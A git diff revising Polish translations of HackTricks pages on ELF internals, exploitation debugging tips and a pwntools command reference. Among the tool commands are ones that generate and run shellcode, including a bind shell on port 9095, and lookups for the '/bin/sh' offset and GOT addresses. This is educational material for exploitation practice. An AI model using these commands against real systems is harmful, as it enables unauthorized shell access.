|
||||
|
||||
### INTERP
|
||||
|
||||
Wskazuje ścieżkę do ładowacza, który ma być użyty do załadowania binarnego pliku do pamięci.
|
||||
Wskazuje ścieżkę do ładowacza, który ma załadować binarny plik do pamięci.
|
||||
|
||||
### LOAD
|
||||
|
||||
Te nagłówki służą do wskazania **sposobu ładowania binarnego pliku do pamięci**.\
|
||||
Te nagłówki służą do wskazania, **jak załadować binarny plik do pamięci**.\
|
||||
Każdy nagłówek **LOAD** wskazuje obszar **pamięci** (rozmiar, uprawnienia i wyrównanie) oraz wskazuje bajty ELF **do skopiowania tam**.
|
||||
|
||||
Na przykład, drugi ma rozmiar 0x1190, powinien znajdować się pod adresem 0x1fc48 z uprawnieniami do odczytu i zapisu oraz zostanie wypełniony wartościami 0x528 od przesunięcia 0xfc48 (nie wypełnia całego zarezerwowanego miejsca). Ta pamięć będzie zawierać sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Na przykład drugi ma rozmiar 0x1190, powinien znajdować się pod adresem 0x1fc48 z uprawnieniami do odczytu i zapisu oraz zostanie wypełniony wartościami 0x528 od przesunięcia 0xfc48 (nie wypełnia całej zarezerwowanej przestrzeni). Ta pamięć będzie zawierać sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
Ten nagłówek pomaga w łączeniu programów z ich zależnościami bibliotecznymi i stosowaniu relokacji. Sprawdź sekcję **`.dynamic`**.
|
||||
Ten nagłówek pomaga łączyć programy z ich zależnościami bibliotecznymi i stosować relokacje. Sprawdź sekcję **`.dynamic`**.
|
||||
|
||||
### NOTE
|
||||
|
||||
|
|
@ -78,21 +78,21 @@ Definiuje lokalizację tabel odwijania stosu, używanych przez debuggery i funkc
|
|||
|
||||
### GNU\_STACK
|
||||
|
||||
Zawiera konfigurację obrony przed wykonywaniem kodu ze stosu. Jeśli jest włączone, binarny plik nie będzie mógł wykonywać kodu ze stosu.
|
||||
Zawiera konfigurację obrony przed wykonywaniem kodu ze stosu. Jeśli jest włączona, binarny plik nie będzie mógł wykonywać kodu ze stosu.
|
||||
|
||||
### GNU\_RELRO
|
||||
|
||||
Wskazuje konfigurację RELRO (Relocation Read-Only) binarnego pliku. Ta ochrona oznacza jako tylko do odczytu pewne sekcje pamięci (takie jak `GOT` lub tabele `init` i `fini`) po załadowaniu programu i przed jego uruchomieniem.
|
||||
|
||||
W poprzednim przykładzie kopiowanych jest 0x3b8 bajtów do 0x1fc48 jako tylko do odczytu, dotykając sekcji `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
W poprzednim przykładzie kopiowanych jest 0x3b8 bajtów do 0x1fc48 jako tylko do odczytu, wpływając na sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **opóźnionego wiązania** i wymaga, aby ten obszar pamięci miał **uprawnienia do zapisu**, aby zapisać adresy bibliotek za pierwszym razem, gdy ich lokalizacja jest wyszukiwana.
|
||||
Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **opóźnionego wiązania** i wymaga, aby ta przestrzeń pamięci miała **uprawnienia do zapisu**, aby zapisać adresy bibliotek za pierwszym razem, gdy ich lokalizacja jest wyszukiwana.
|
||||
|
||||
### TLS
|
||||
|
||||
Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych wątku.
|
||||
|
||||
## Nagłówki Sekcji
|
||||
## Nagłówki sekcji
|
||||
|
||||
Nagłówki sekcji dają bardziej szczegółowy widok binarnego pliku ELF.
|
||||
```
|
||||
|
|
@ -157,22 +157,22 @@ CONTENTS, READONLY
|
|||
```
|
||||
### Sekcje metadanych
|
||||
|
||||
* **Tabela ciągów**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które faktycznie są używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. Jeśli `.text` znajduje się na przesunięciu 45 w tabeli ciągów, użyje liczby **45** w polu **nazwa**.
|
||||
* **Tabela ciągów**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które faktycznie są używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. Jeśli sekcja `.text` znajduje się na przesunięciu 45 w tabeli ciągów, użyje liczby **45** w polu **nazwa**.
|
||||
* Aby znaleźć, gdzie znajduje się tabela ciągów, ELF zawiera wskaźnik do tabeli ciągów.
|
||||
* **Tabela symboli**: Zawiera informacje o symbolach, takie jak nazwa (przesunięcie w tabeli ciągów), adres, rozmiar i więcej metadanych o symbolu.
|
||||
|
||||
### Główne sekcje
|
||||
|
||||
* **`.text`**: Instrukcje programu do wykonania.
|
||||
* **`.data`**: Globalne zmienne zdefiniowane wartością w programie.
|
||||
* **`.bss`**: Globalne zmienne pozostawione niezainicjowane (lub zainicjowane na zero). Zmienne tutaj są automatycznie inicjowane na zero, zapobiegając tym samym dodawaniu niepotrzebnych zer do pliku binarnego.
|
||||
* **`.rodata`**: Stałe globalne zmienne (sekcja tylko do odczytu).
|
||||
* **`.tdata`** i **`.tbss`**: Podobne do .data i .bss, gdy używane są zmienne lokalne wątku (`__thread_local` w C++ lub `__thread` w C).
|
||||
* **`.data`**: Zmienne globalne zdefiniowane wartością w programie.
|
||||
* **`.bss`**: Zmienne globalne pozostawione niezainicjowane (lub zainicjowane na zero). Zmienne tutaj są automatycznie inicjowane na zero, zapobiegając tym samym dodawaniu niepotrzebnych zer do pliku binarnego.
|
||||
* **`.rodata`**: Stałe zmienne globalne (sekcja tylko do odczytu).
|
||||
* **`.tdata`** i **`.tbss`**: Podobne do .data i .bss, gdy używane są zmienne lokalne wątku (`__thread_local` w C++ lub `__thread` w).
|
||||
* **`.dynamic`**: Patrz poniżej.
|
||||
|
||||
## Symbole
|
||||
|
||||
Symbole to nazwane miejsce w programie, które może być funkcją, globalnym obiektem danych, zmiennymi lokalnymi wątku...
|
||||
Symbole to nazwane lokalizacje w programie, które mogą być funkcją, globalnym obiektem danych, zmiennymi lokalnymi wątku...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
|
|
@ -196,8 +196,8 @@ Num: Value Size Type Bind Vis Ndx Name
|
|||
Każdy wpis symbolu zawiera:
|
||||
|
||||
- **Nazwę**
|
||||
- Atrybuty wiązania (słabe, lokalne lub globalne): Symbol lokalny może być dostępny tylko przez program, podczas gdy symbole globalne są udostępniane poza programem. Obiekt słaby to na przykład funkcja, która może zostać zastąpiona inną.
|
||||
- **Typ**: NOTYPE (brak określonego typu), OBJECT (zmienna danych globalna), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna wątku), GNU_IFUNC (funkcja pośrednia do relokacji)
|
||||
- **Atrybuty wiązania** (słabe, lokalne lub globalne): Symbol lokalny może być dostępny tylko przez program, podczas gdy symbole globalne są udostępniane poza programem. Obiekt słaby to na przykład funkcja, która może zostać zastąpiona inną.
|
||||
- **Typ**: NOTYPE (brak określonego typu), OBJECT (zmienna danych globalnych), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna wątku), GNU_IFUNC (funkcja pośrednia do relokacji)
|
||||
- Indeks **sekcji**, w której się znajduje
|
||||
- **Wartość** (adres w pamięci)
|
||||
- **Rozmiar**
|
||||
|
|
@ -241,7 +241,7 @@ Katalog NEEDED wskazuje, że program **musi załadować wymienioną bibliotekę*
|
|||
|
||||
## Przesunięcia
|
||||
|
||||
Loader musi również przemieszczać zależności po ich załadowaniu. Te przemieszczenia są wskazane w tabeli przemieszczeń w formatach REL lub RELA, a liczba przemieszczeń jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
Ładowacz musi również przesunąć zależności po ich załadowaniu. Te przesunięcia są wskazane w tabeli przesunięć w formatach REL lub RELA, a liczba przesunięć jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
|
|
@ -317,23 +317,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
|||
```
|
||||
### Statyczne przemieszczenia
|
||||
|
||||
Jeśli **program jest załadowany w innym miejscu** niż preferowany adres (zwykle 0x400000) z powodu zajęcia adresu lub z powodu **ASLR** lub innych powodów, statyczne przemieszczenie **poprawia wskaźniki**, które miały wartości oczekujące, że binarny plik zostanie załadowany w preferowanym adresie.
|
||||
Jeśli **program jest załadowany w innym miejscu** niż preferowany adres (zwykle 0x400000) z powodu zajęcia adresu lub z powodu **ASLR** lub innych powodów, statyczne przemieszczenie **poprawia wskaźniki**, które miały wartości oczekujące, że binarny zostanie załadowany w preferowanym adresie.
|
||||
|
||||
Na przykład dowolna sekcja typu `R_AARCH64_RELATIV` powinna zmienić adres w przemieszczeniu plus wartość dodaną.
|
||||
|
||||
### Dynamiczne przemieszczenia i GOT
|
||||
|
||||
Przemieszczenie może również odnosić się do zewnętrznego symbolu (jak funkcja zależności). Na przykład funkcja malloc z libC. Wtedy, ładowacz podczas ładowania libC pod adresem sprawdzającym, gdzie jest załadowana funkcja malloc, zapisze ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli przemieszczeń), gdzie powinien być określony adres malloc.
|
||||
Przemieszczenie może również odnosić się do symbolu zewnętrznego (jak funkcja zależności). Na przykład funkcja malloc z libC. Wtedy, ładowacz podczas ładowania libC pod adresem sprawdzającym, gdzie jest załadowana funkcja malloc, zapisze ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli przemieszczeń), gdzie powinien być określony adres malloc.
|
||||
|
||||
### Tabela łączenia procedur
|
||||
|
||||
Sekcja PLT pozwala na leniwe wiązanie, co oznacza, że rozwiązanie lokalizacji funkcji będzie wykonywane za pierwszym razem, gdy zostanie ona użyta.
|
||||
|
||||
Dlatego gdy program wywołuje malloc, faktycznie wywołuje odpowiadającą lokalizację `malloc` w PLT (`malloc@plt`). Za pierwszym razem, gdy jest wywoływana, rozwiązywany jest adres `malloc` i przechowywany, więc następnym razem, gdy jest wywoływana malloc, używany jest ten adres zamiast kodu PLT.
|
||||
Więc gdy program wywołuje malloc, faktycznie wywołuje odpowiadającą lokalizację `malloc` w PLT (`malloc@plt`). Za pierwszym razem, gdy jest wywoływana, rozwiązuje adres `malloc` i przechowuje go, więc następnym razem, gdy jest wywoływana malloc, używany jest ten adres zamiast kodu PLT.
|
||||
|
||||
## Inicjalizacja programu
|
||||
|
||||
Po załadowaniu programu nadszedł czas na jego uruchomienie. Jednakże, pierwszy kod, który jest uruchamiany, **nie zawsze jest funkcją `main`**. Dzieje się tak na przykład w C++, gdy **zmienna globalna jest obiektem klasy**, ten obiekt musi być **zainicjowany** **przed** uruchomieniem funkcji `main`, jak w:
|
||||
Po załadowaniu programu nadszedł czas na jego uruchomienie. Jednak pierwszy kod, który jest uruchamiany, **nie zawsze jest funkcją `main`**. Dzieje się tak na przykład w C++, gdy **zmienna globalna jest obiektem klasy**, ten obiekt musi być **zainicjowany** **przed** uruchomieniem funkcji main, jak w:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
|
|
@ -369,8 +369,8 @@ Ponadto możliwe jest posiadanie **`PREINIT_ARRAY`** z **wskaźnikami**, które
|
|||
|
||||
### Kolejność inicjalizacji
|
||||
|
||||
1. Program jest wczytywany do pamięci, statyczne zmienne globalne są inicjalizowane w sekcji **`.data`**, a niezainicjowane są zerowane w sekcji **`.bss`**.
|
||||
2. Wszystkie **zależności** programu lub bibliotek są **inicjalizowane**, a następnie wykonywane jest **dynamiczne łączenie**.
|
||||
1. Program jest wczytywany do pamięci, statyczne zmienne globalne są inicjowane w sekcji **`.data`**, a niezainicjowane są zerowane w sekcji **`.bss`**.
|
||||
2. Wszystkie **zależności** programu lub bibliotek są **inicjowane**, a następnie wykonywane jest **dynamiczne łączenie**.
|
||||
3. Wykonywane są funkcje **`PREINIT_ARRAY`**.
|
||||
4. Wykonywane są funkcje **`INIT_ARRAY`**.
|
||||
5. Jeśli istnieje wpis **`INIT`**, zostaje on wywołany.
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -133,13 +133,13 @@ Podczas debugowania GDB będzie miał **nieco inne adresy niż te używane przez
|
|||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<ścieżka>` _Wstaw bezwzględną ścieżkę do pliku binarnego_
|
||||
* Wykorzystaj błąd w binarnym pliku, korzystając z tej samej bezwzględnej ścieżki
|
||||
* Wykorzystaj błąd w binarnym pliku, używając tej samej bezwzględnej ścieżki
|
||||
* `PWD` i `OLDPWD` muszą być takie same podczas korzystania z GDB i podczas wykorzystywania błędu w binarnym pliku
|
||||
|
||||
#### Backtrace do znalezienia wywołanych funkcji
|
||||
|
||||
Gdy masz **statycznie połączony binarny plik**, wszystkie funkcje będą należeć do binarnego pliku (a nie do bibliotek zewnętrznych). W tym przypadku będzie trudno **zidentyfikować przepływ, którym podąża binarny plik, aby na przykład poprosić o dane wejściowe**.\
|
||||
Możesz łatwo zidentyfikować ten przepływ, **uruchamiając** binarny plik z **gdb**, aż zostaniesz poproszony o dane wejściowe. Następnie zatrzymaj go za pomocą **CTRL+C** i użyj polecenia **`bt`** (**backtrace**) aby zobaczyć wywołane funkcje:
|
||||
Gdy masz **statycznie połączony binarny plik,** wszystkie funkcje będą należeć do binarnego pliku (a nie do zewnętrznych bibliotek). W tym przypadku będzie trudno **zidentyfikować przepływ, którym podąża binarny plik, aby na przykład poprosić o dane wejściowe od użytkownika.**\
|
||||
Możesz łatwo zidentyfikować ten przepływ, **uruchamiając** binarny plik z **gdb** aż zostaniesz poproszony o dane wejściowe. Następnie zatrzymaj go za pomocą **CTRL+C** i użyj polecenia **`bt`** (**backtrace**) aby zobaczyć wywołane funkcje:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
|
@ -157,8 +157,8 @@ gef➤ bt
|
|||
### Znajdowanie przesunięcia stosu
|
||||
|
||||
**Ghidra** jest bardzo przydatne do znalezienia **przesunięcia** dla **przepełnienia bufora dzięki informacjom o pozycji zmiennych lokalnych.**\
|
||||
Na przykład, w poniższym przykładzie, przepełnienie bufora w `local_bc` wskazuje, że potrzebujesz przesunięcia `0xbc`. Ponadto, jeśli `local_10` jest ciasteczkiem canary, wskazuje to, że aby je nadpisać z `local_bc`, istnieje przesunięcie `0xac`.\
|
||||
_Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
||||
Na przykład, w poniższym przykładzie, przepełnienie bufora w `local_bc` wskazuje, że potrzebujesz przesunięcia `0xbc`. Ponadto, jeśli `local_10` to ciasteczko canary, wskazuje to, że aby je nadpisać z `local_bc`, istnieje przesunięcie `0xac`.\
|
||||
_Pamiętaj, że pierwsze 0x08, od którego zapisywany jest RIP, należy do RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -184,7 +184,7 @@ _Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
|||
\-D -s -j .plt --> sekcja **plt** **zdekompilowana**\
|
||||
**-TR** --> **Relokacje**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres "puts" do modyfikacji w GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres lub statycznej zmiennej (przechowywane w sekcji DATA).
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres lub zmienna statyczna (przechowywane w sekcji DATA).
|
||||
|
||||
## Zrzuty pamięci
|
||||
|
||||
|
|
@ -200,7 +200,7 @@ _Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
|||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Przesunięcie "/bin/sh"
|
||||
|
||||
**strace executable** --> Funkcje wywoływane przez wykonywalny plik\
|
||||
**rabin2 -i ejecutable -->** Adres wszystkich funkcji
|
||||
**rabin2 -i ejecutable -->** Adresy wszystkich funkcji
|
||||
|
||||
## **Debugger Inmunity**
|
||||
```bash
|
||||
|
|
@ -211,7 +211,7 @@ _Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
|||
|
||||
### Debugowanie w zdalnym systemie Linux
|
||||
|
||||
Wewnątrz folderu IDA znajdziesz pliki binarne, które można użyć do debugowania pliku binarnego w systemie Linux. Aby to zrobić, przenieś plik _linux\_server_ lub _linux\_server64_ do serwera Linux i uruchom go wewnątrz folderu, który zawiera plik binarny:
|
||||
Wewnątrz folderu IDA znajdziesz pliki binarne, które można użyć do debugowania innego binarnego pliku w systemie Linux. Aby to zrobić, przenieś plik `linux_server` lub `linux_server64` do serwera Linux i uruchom go wewnątrz folderu, który zawiera dany plik binarny:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
|
@ -229,6 +229,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,3 +1,5 @@
|
|||
# Narzędzia PwnTools
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
@ -7,50 +9,50 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
# Pwn asm
|
||||
## Pwn asm
|
||||
|
||||
Pobierz kody operacyjne z linii lub pliku.
|
||||
Pobierz **kody operacyjne** z linii lub pliku.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Można wybrać:**
|
||||
**Możliwe opcje:**
|
||||
|
||||
* typ wyjścia (surowe, szesnastkowe, ciąg znaków, elf)
|
||||
* rodzaj wyjścia (surowe, szesnastkowe, ciąg znaków, elf)
|
||||
* kontekst pliku wyjściowego (16,32,64,linux,windows...)
|
||||
* unikanie bajtów (nowe linie, null, lista)
|
||||
* wybór kodera debugowania shellcode'u przy użyciu gdb uruchamia wyjście
|
||||
* wybierz debuger enkodera shellcode'u używając gdb uruchomienia wyjścia
|
||||
|
||||
# **Pwn checksec**
|
||||
## **Pwn checksec**
|
||||
|
||||
Skrypt checksec
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
# Pwn constgrep
|
||||
## Pwn constgrep
|
||||
|
||||
# Pwn cyclic
|
||||
## Pwn cyclic
|
||||
|
||||
Uzyskaj wzorzec
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Możesz wybrać:**
|
||||
**Możliwe opcje:**
|
||||
|
||||
* Użyty alfabet (domyślnie małe litery)
|
||||
* Używany alfabet (domyślnie małe litery)
|
||||
* Długość unikalnego wzorca (domyślnie 4)
|
||||
* Kontekst (16,32,64,linux,windows...)
|
||||
* Wziąć przesunięcie (-l)
|
||||
|
||||
# Debugowanie Pwn
|
||||
## Debugowanie Pwn
|
||||
|
||||
Dołącz GDB do procesu
|
||||
```
|
||||
|
|
@ -58,59 +60,59 @@ pwn debug --exec /bin/bash
|
|||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Można wybrać:**
|
||||
**Możesz wybrać:**
|
||||
|
||||
* Według pliku wykonywalnego, według nazwy lub według kontekstu pid (16,32,64,linux,windows...)
|
||||
* Według pliku wykonywalnego, nazwy lub identyfikatora procesu (16,32,64,linux,windows...)
|
||||
* skrypt gdb do wykonania
|
||||
* ścieżka sysroot
|
||||
* ścieżkę sysroot
|
||||
|
||||
# Wyłączanie nx
|
||||
## Wyłączanie nx
|
||||
|
||||
Wyłącz nx dla pliku binarnego
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
# Pwn disasm
|
||||
## Pwn disasm
|
||||
|
||||
Rozkoduj szesnastkowe kody operacyjne
|
||||
Rozkoduj szesnastkowe kody operacji
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Można wybrać:**
|
||||
**Możliwe opcje:**
|
||||
|
||||
* kontekst (16,32,64,linux,windows...)
|
||||
* bazowy adres
|
||||
* adres bazowy
|
||||
* kolor (domyślnie)/bez koloru
|
||||
|
||||
# Pwn elfdiff
|
||||
## Pwn elfdiff
|
||||
|
||||
Wyświetla różnice między 2 plikami
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
# Pwn hex
|
||||
## Pwn hex
|
||||
|
||||
Uzyskaj reprezentację szesnastkową
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
# Pwn phd
|
||||
## Pwn phd
|
||||
|
||||
Uzyskaj zrzut szesnastkowy
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Można wybrać:**
|
||||
**Możesz wybrać:**
|
||||
|
||||
* Liczbę bajtów do wyświetlenia
|
||||
* Liczbę bajtów na wiersz do wyróżnienia bajtu
|
||||
* Liczbę bajtów na wiersz do wyróżnienia
|
||||
* Pominięcie bajtów na początku
|
||||
|
||||
# Pwn pwnstrip
|
||||
## Pwn pwnstrip
|
||||
|
||||
# Pwn scrable
|
||||
## Pwn scrable
|
||||
|
||||
# Pwn shellcraft
|
||||
## Pwn shellcraft
|
||||
|
||||
Pobierz shellkody
|
||||
```
|
||||
|
|
@ -120,11 +122,11 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
|||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Możesz wybrać:**
|
||||
**Można wybrać:**
|
||||
|
||||
* shellcode i argumenty dla shellcode
|
||||
* Plik wyjściowy
|
||||
* format wyjścia
|
||||
* Format wyjścia
|
||||
* debug (dołącz dbg do shellcode)
|
||||
* przed (pułapka debugowania przed kodem)
|
||||
* po
|
||||
|
|
@ -135,7 +137,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
* lista możliwych shellcode'ów
|
||||
* Generuj ELF jako bibliotekę współdzieloną
|
||||
|
||||
# Szablon Pwn
|
||||
## Szablon Pwn
|
||||
|
||||
Pobierz szablon w języku Python
|
||||
```
|
||||
|
|
@ -143,13 +145,13 @@ pwn template
|
|||
```
|
||||
**Można wybrać:** host, port, user, pass, path i quiet
|
||||
|
||||
# Pwn unhex
|
||||
## Pwn unhex
|
||||
|
||||
Z heksadecymalnego na ciąg znaków
|
||||
Z systemu szesnastkowego na ciąg znaków
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Aktualizacja Pwn
|
||||
## Aktualizacja Pwn
|
||||
|
||||
Aby zaktualizować narzędzie pwntools
|
||||
```
|
||||
|
|
@ -161,10 +163,10 @@ pwn update
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,16 +1,16 @@
|
|||
# Powszechne zabezpieczenia binarne
|
||||
# Powszechne zabezpieczenia i sposoby obejścia w eksploatacji binarnej
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
